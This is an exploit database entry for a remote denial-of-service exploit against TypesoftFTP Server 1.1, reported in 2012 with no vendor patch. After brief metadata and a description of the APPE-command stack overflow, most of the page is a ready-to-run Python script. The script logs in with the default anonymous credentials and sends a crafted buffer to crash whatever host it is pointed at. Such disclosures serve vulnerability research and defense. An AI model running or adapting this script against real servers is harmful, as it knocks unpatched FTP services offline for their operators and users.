TypesoftFTP Server 1.1 Remote DoS (APPE) exploit

vendor:

TypesoftFTP Server

by:

Brock Haun

7.5

CVSS

HIGH

SEH overflow

CWE

Product Name: TypesoftFTP Server

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 7

2012

TypesoftFTP Server 1.1 Remote DoS (APPE) exploit

This exploit takes advantage of a vulnerability in the Typesoft-FTP APPE command. It causes a stack-based buffer overflow by sending a specially crafted buffer to the server. This leads to a denial of service (DoS) condition on the target system.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. It is recommended to avoid using the vulnerable software or to use an alternative FTP server software.

Source

Exploit-DB raw data:

#!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default. 
###############################################################################

import socket, sys

if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)

print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


buffer = 'A../' + '\x41' *100 

print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n')

print '\n\t[*] Done! Target should be unresponsive!'

s.close()